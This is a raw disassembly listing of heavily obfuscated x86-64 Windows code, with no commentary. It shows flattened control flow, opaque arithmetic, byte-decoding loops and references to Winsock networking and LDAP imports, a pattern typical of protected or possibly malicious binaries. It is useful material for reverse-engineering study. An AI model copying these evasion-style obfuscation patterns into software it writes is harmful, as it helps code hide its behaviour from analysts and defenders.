movabs rcx, 0x8438b70058c237cc
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
add cl, dil
lea r11d, [rcx*2 - 0x28]
jmp 0x14007f68e
movabs rcx, 0x22c7fb8a8679b29e
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x52
cmp r8, 0x80
jae 0x14007f557
lea rax, [r9 + 0x2a]
cmp r8, rax
jbe 0x14007f43f
movabs rcx, 0x3d1e89145b6ef5a4
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x7c
jmp 0x14007ef66
movabs rcx, 0x2122a262057c59a
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x36
lea rax, [r9 + r8]
cmp rax, 0xa
je 0x14007f588
lea rax, [r9 + 0x3e8]
cmp r8, rax
jbe 0x14007f350
movabs rdx, 0xe5a972762b0abcfa
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x14007efb2
movabs rdx, 0xcbe87b5225953fc
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
movzx eax, byte [rbp + rbx + 0xcb8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007ea22
movabs rdx, 0xec08b650bc3766f8
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x14007f7e7
movabs rdx, 0xcb52e4ec561579f4
add rdx, rbx
movzx eax, dil
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dil
add r11b, dl
jmp 0x14007f7b7
movabs rdx, 0xaa9d1387eff38cf0
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007ea22
movabs rcx, 0x89e7422389d19fec
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x74
add r8, r9
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007ea22
movabs rcx, 0x693170bf23afb2e8
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x58
jmp 0x14007f6e3
movabs rcx, 0x487b9f5abd8dc5e4
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x3c
dec rbx
inc rbx
jmp 0x14007ea22
movabs rcx, 0x27c5cdf6576bd8e0
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x20
inc r9
dec rbx
inc rbx
jmp 0x14007ea22
movabs rcx, 0x70ffc91f149ebdc
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 4
jmp 0x14007f68e
lea rcx, [r9 + 4]
cmp r8, rcx
jae 0x14007f223
movabs rdx, 0x105ae8b23310f682
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x14007f00f
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007f261
movabs rcx, 0xaeea2d3c60c87154
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x4c
movzx eax, byte [rbp + rbx + 0xcb8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007ea22
inc rax
cmp r8, rax
jne 0x14007f2a2
movabs rdx, 0x110ba169932e3860
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007ea22
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14007f2e7
movabs rdx, 0x31c172cdf9502564
add rdx, rbx
movzx eax, dil
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dil
add r11b, dl
add r8, r9
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007ea22
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14007f31f
movabs rdx, 0x732d1596c593ff6c
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, 6
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
dec rbx
inc rbx
jmp 0x14007ea22
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007f00f
movabs rcx, 0xb498b85f91d7d974
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x2c
jmp 0x14007f68e
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007f36d
movabs rdx, 0x65f43da912ca9fe
mov ecx, 7
jmp 0x14007f679
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007f39a
movabs rcx, 0x6880b807c392710a
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x46
jmp 0x14007f6e3
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14007f3d7
movabs rcx, 0xa9ec5ad08fd64b12
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x7e
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007ea22
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14007f409
movabs rdx, 0xcaa22c34f5f83816
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, 0x33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x14007f7b7
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14007efb2
movabs rdx, 0xeb57fd995c1a251a
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x14007f7e7
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007f482
movabs rdx, 0x5dd45a78c190e2a8
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
movzx eax, byte [rbp + rbx + 0xcb8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007ea22
inc rax
cmp r8, rax
jne 0x14007f4b3
movabs rdx, 0x9f3ffd418dd4bcb0
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x14007f7b7
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007f4f5
movabs rdx, 0xbff5cea5f3f6a9b4
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, 0xa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007ea22
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14007f522
movabs rcx, 0x161716ec03a83bc
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x24
jmp 0x14007f6e3
lea rax, [r9 + 8]
cmp r8, rax
jne 0x14007ef66
movabs rdx, 0x6382e59bf2a04ac8
add rdx, rbx
movzx eax, dil
and al, dl
add al, al
movzx r11d, dil
sub r11b, al
sub r11b, 0x78
add r11b, dl
jmp 0x14007f68e
movabs rdx, 0xa4ee8864bee424d0
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, byte [rbp + rbx + 0xcb8]
add r11b, dl
add r11b, dil
jmp 0x14007f6e3
movabs rdx, 0xc5a459c9250611d4
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
sub r11b, byte [rbp + rbx + 0xcb8]
add r11b, dl
add r11b, dil
jmp 0x14007f7b7
movabs rdx, 0x7dd97325c7958dce
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
movzx eax, byte [rbp + rbx + 0xcb8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007ea22
movabs rcx, 0x1bb7fef8952fc6c2
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x4e
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007ea22
movabs rdx, 0x98e0b966fca812b2
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
inc r9
dec rbx
inc rbx
jmp 0x14007ea22
movabs rdx, 0x782ae802968625ae
mov ecx, Ordinal_35
jmp 0x14007f679
movabs rdx, 0x36bf4539ca424ba6
mov ecx, Ordinal_60
add rdx, rbx
movzx eax, dl
and al, dil
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
movabs rcx, 0x94939fb28bd32e4e
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
sub cl, 0x22
add cl, dil
mov byte [rbp + rbx + 0xcb8], cl
inc r9
dec rbx
inc rbx
jmp 0x14007ea22
movabs rdx, 0xd49dd10c97dc849a
add rdx, rbx
movzx eax, dil
and al, dl
add al, al
movzx r11d, dil
sub r11b, al
sub r11b, 0x36
add r11b, dl
movabs rcx, 0xb5497116f1f51b52
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
sub cl, 0x3e
add cl, dil
add cl, r11b
mov byte [rbp + rbx + 0xcb8], cl
add r8, r9
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007ea22
movabs rcx, 0xb3e7ffa831ba9796
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x1a
add r8, r9
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007ea22
movabs rdx, 0x93322e43cb98aa92
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 1
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007ea22
mov rdi, r10
movabs rcx, 0x727c5cdf6576bd8e
add rcx, rbx
and r10b, cl
mov eax, reloc.WS2_32.dll_ntohs
sub al, r10b
lea r11d, [rax + rax]
add r11b, dil
add r11b, cl
movabs rcx, 0xd5ff427b58170856
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
sub cl, 0x5a
add cl, dil
movzx eax, cl
mov byte [rbp + rbx + 0xcb8], al
inc r9
add rax, r9
sub rbx, rax
movabs rdx, 0xe65a2b2d8b27fed8
add rdx, rbx
movzx eax, dil
and al, dl
mov ecx, recv
sub cl, al
add cl, cl
add cl, dil
add cl, dl
mov byte [rbp + rbx + 0xcb8], cl
inc r8
mov rax, r13
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0xcb8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007ea22
movabs rdx, 0x3110ba169932e386
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rbx + 0xcb8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007ea22
movabs rdx, 0x7f3ae49487d0118a
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x14007ea1e
movabs rdx, 0x5e85133021ae2486
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x14007ea10
lea rcx, [rbp + 0x165ac10]
jmp 0x14007f8d6
lea rcx, [rbp + 0x76a292]
jmp 0x14007f8d6
lea rcx, [rbp + 0xcb8]
mov dword [rbp + 0xfc0], 0x64
mov dword [rbp + 0xfc8], 1
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], r14
lea rax, [rbp + 0xfc0]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xfc8]
lea r8, [rsi + 0x30]
mov edx, 4
call fcn.140037e30
mov byte [rbp + 0xce0], Ordinal_41
mov byte [rbp + 0xce1], Ordinal_50
mov byte [rbp + 0xce2], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0xce3], 0xe5
mov byte [rbp + 0xce4], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0xce5], 0x55
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xce6], xmm0
mov qword [rbp + 0xcf6], rax
mov dword [rbp + 0xcfe], eax
mov byte [rbp + 0xd02], al
movabs rdi, 0xd488f02588f23304
movabs rsi, 0x41d38ae0108c457c
movabs r15, 0xf1bd60c4d5c263f4
movabs r14, 0x5e58c95665077d94
movabs r12, 0x7ade07ccb982b5ac
movzx r10d, byte [rsp + 0x40]
nop dword [rax]
mov r8, qword [0x14022e4a8]
mov r9, qword [0x14022e4a0]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x14008081c
movzx r11d, byte [rbp + rbx + 0xce0]
mov rdx, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x140080813
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14007f9fc
lea rcx, [rbx + r15]
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
add r10b, 0x54
jmp 0x14007fa30
je 0x14008078c
inc rax
cmp r8, rax
je 0x140080759
lea rax, [r9 + 3]
cmp r8, rax
je 0x140080721
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400806f6
nop dword [rax + rax]
cmp r9, rbx
ja 0x14008080a
lea rax, [r9 + 3]
cmp r8, rax
jae 0x14007fa5e
lea rdx, [rbx + rdi]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x1c
add r10b, dl
jmp 0x14007fa91
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400806a1
inc rax
cmp r8, rax
je 0x140080676
lea rax, [r9 + 5]
cmp r8, rax
je 0x14008063a
lea rax, [r9 + 9]
cmp r8, rax
je 0x140080604
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x14008013b
nop
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x140080115
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400800e7
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400800b8
lea rax, [r9 + 3]
cmp r8, rax
je 0x14008008f
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x140080057
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x14008001e
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x14007fff8
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x14007ffd0
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x14007ff96
lea rax, [r9 + 1]
cmp r8, rax
je 0x14007faa0
lea r8, [r9 + 0x28]
lea r9, [r8 + 0x41]
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400807e5
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400807c0
lea rax, [r9 + 3]
cmp r8, rax
jb 0x14007fc94
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x14007fc79
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x14007fc5a
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x14007ff31
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x14007fed2
lea rax, [r9 + 4]
cmp r8, rax
jb 0x14007fe7f
lea rax, [r9 + 1]
cmp r8, rax
jb 0x14007fe4b
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x14007faa0
lea r8, [r9 + 0xa]
lea r9, [r8 + 0x1000]
lea rax, [r9 + 6]
cmp r8, rax
ja 0x14007fe15
lea rax, [r9 + 3]
cmp r8, rax
ja 0x14007fded
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x14007fdc7
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x14007fd92
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x14007fd5a
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x14007fd37
lea rax, [r9 + 4]
cmp r8, rax
ja 0x14007fd0c
lea rax, [r9 + 1]
cmp r8, rax
ja 0x14007fcda
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x14007fcb4
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x14007faa0
lea r8, [r9 + 6]
lea r9, [r8 + 0x200]
jmp 0x14007faa0
lea rdx, [rbx + rsi]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x64
add r10b, dl
jmp 0x14007fa91
lea rcx, [rbx + r14]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xc
jmp 0x14007fa30
lea rdx, [rbx + r12]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14007f9c5
movabs rdx, 0xa447812c47919820
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x1400806c1
movabs rdx, 0xc0ccbfa29c0cd038
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc r9
dec rbx
inc rbx
jmp 0x14007f9b2
movabs rcx, 0xdd51fe18f0880850
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x30
dec rbx
inc rbx
jmp 0x14007f9b2
movabs rdx, 0xf9d73c8f45034068
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r10d, [rcx + rcx]
jmp 0x140080512
movabs rcx, 0x165c7b05997e7880
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x80
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007f9b2
movabs rcx, 0x32e1b97bedf9b098
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x28
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007f9b2
movabs rdx, 0x4f66f7f24274e8b0
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x140080583
movabs rdx, 0x6bec366896f020c8
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x78
add r10b, dl
jmp 0x1400805ba
movabs rcx, 0x887174deeb6b58e0
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x20
movzx eax, byte [rbp + rbx + 0xce0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007f9b2
movabs rdx, 0xcfbe9106be9f651c
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
mov byte [rbp + rbx + 0xce0], r10b
inc rbx
jmp 0x14007f9b2
movabs rdx, 0xec43cf7d131a9d34
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x6c
add r10b, dl
cmp r9, 9
jb 0x14007fe6f
movabs rdx, 0x51748e6d2b73d338
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, dl
lea r10d, [rcx*2 - 0x10]
jmp 0x1400806c4
movabs rdx, 0x8c90df36795d54c
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x14
add r10b, dl
cmp r8, 0x20
jae 0x1400804ec
lea rax, [r9 + 0x7a]
cmp r8, rax
jbe 0x1400803b1
movabs rdx, 0x6ea8ff0c78440428
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x18
jmp 0x14007fe9f
movabs rdx, 0x254e4c69bc110d64
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
lea rax, [r9 + r8]
cmp rax, 0x42
je 0x14008055b
lea rax, [r9 + 0x2a]
cmp r8, rax
jbe 0x140080270
movabs rdx, 0x9a200ee6ef51d124
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 2
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x14007fef2
movabs rdx, 0xfb35a0e135ad3218
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0xce0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007f9b2
movabs rdx, 0x17badf578a286a30
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x50
add r10b, dl
jmp 0x1400805ba
movabs rdx, 0x34401dcddea3a248
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 4
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x140080583
movabs rdx, 0x50c55c44331eda60
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007f9b2
movabs rcx, 0x6d4a9aba879a1278
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x48
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007f9b2
movabs rdx, 0x89cfd930dc154a90
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 8
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140080518
movabs rdx, 0xa65517a7309082a8
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0x34
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rbx
inc rbx
jmp 0x14007f9b2
movabs rcx, 0xc2da561d850bbac0
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x40
inc r9
dec rbx
inc rbx
jmp 0x14007f9b2
movabs rdx, 0xdf5f9493d986f2d8
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x1400806c1
lea rax, [r9 + 0x42]
cmp r8, rax
jae 0x140080158
lea rdx, [rbx + r15]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_45
jmp 0x14007ff49
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140080196
movabs rcx, 0xa911e04b11e46608
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x38
movzx eax, byte [rbp + rbx + 0xce0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007f9b2
inc rax
cmp r8, rax
jne 0x1400801c4
movabs rdx, 0x7007635e68edf5d8
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x140080583
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140080209
movabs rdx, 0x36fce671bff785a8
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0x34
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007f9b2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14008023d
movabs rcx, 0xfdf2698517011578
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x48
dec rbx
inc rbx
jmp 0x14007f9b2
lea rax, [r9 + 9]
cmp r8, rax
jne 0x14007ff55
movabs rdx, 0xc4e7ec986e0aa548
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 4
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x1400806c1
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x14008029d
movabs rcx, 0x7d9ad0709ad6990c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x54
jmp 0x1400806c4
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400802d1
movabs rcx, 0x44905383f1e028dc
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 4
dec rbx
inc rbx
jmp 0x14007f9b2
lea rax, [rcx + 1]
cmp r8, rax
jne 0x140080316
movabs rdx, 0xb85d69748e9b8ac
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007f9b2
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140080340
movabs rcx, 0xef009820f46e8094
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
jmp 0x140080773
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14008036e
movabs rdx, 0xd27b59aa9ff3487c
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x64
jmp 0x140080583
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14007fef5
movabs rcx, 0x9970dcbdf6fcd84c
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x14
movzx eax, byte [rbp + rbx + 0xce0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007f9b2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400803f0
movabs rcx, 0x5223c09623c8cc10
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x70
movzx eax, byte [rbp + rbx + 0xce0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007f9b2
inc rax
cmp r8, rax
jne 0x14008041d
movabs rdx, 0x191943a97ad25be0
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x20
jmp 0x140080583
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14008044b
movabs rdx, 0xc38988467d60b398
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x28
jmp 0x140080515
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14008047f
movabs rcx, 0xa70449d028e57b80
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x80
dec rbx
inc rbx
jmp 0x14007f9b2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400804ba
movabs rdx, 0x8a7f0b59d46a4368
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc r9
dec rbx
inc rbx
jmp 0x14007f9b2
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14007fea2
movabs rdx, 0x6df9cce37fef0b50
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x30
jmp 0x1400806c1
movabs rdx, 0x34ef4ff6d6f89b20
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
